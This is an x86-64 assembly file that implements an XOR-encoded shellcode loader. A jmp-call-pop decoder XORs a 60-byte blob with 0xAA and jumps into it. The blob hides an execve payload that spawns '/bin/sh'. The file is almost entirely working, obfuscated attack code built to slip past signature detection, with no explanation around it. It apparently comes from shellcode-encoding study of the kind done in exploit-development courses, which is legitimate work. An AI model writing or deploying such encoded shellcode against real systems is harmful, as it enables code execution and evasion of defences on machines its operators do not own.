global _start 

section .text

_start:

	jmp find_address

decoder:
	; Get the address of the string 
	pop rdi
	xor rcx, rcx
	add cl, 60


decode:
	xor byte [rdi], 0xAA
	inc rdi
	loop decode

	jmp encoded_shellcode
	

find_address:
	call decoder

	encoded_shellcode:	db	0x41,0xb7,0xe2,0x9b,0x6a,0xf5,0x22,0xcd,0xad,0xe2,0x23,0xd5,0xa2,0xe2,0x23,0xed,0xba,0xe2,0x27,0xdd,0xa2,0xe2,0x27,0xfd,0xba,0xe2,0x29,0x6a,0x91,0xa5,0xaf,0x42,0x74,0x55,0x55,0x55,0x85,0xc8,0xc3,0xc4,0x85,0xd9,0xc2,0xeb,0xe8,0xe8,0xe8,0xe8,0xe8,0xe8,0xe8,0xe8,0xe9,0xe9,0xe9,0xe9,0xe9,0xe9,0xe9,0xe9



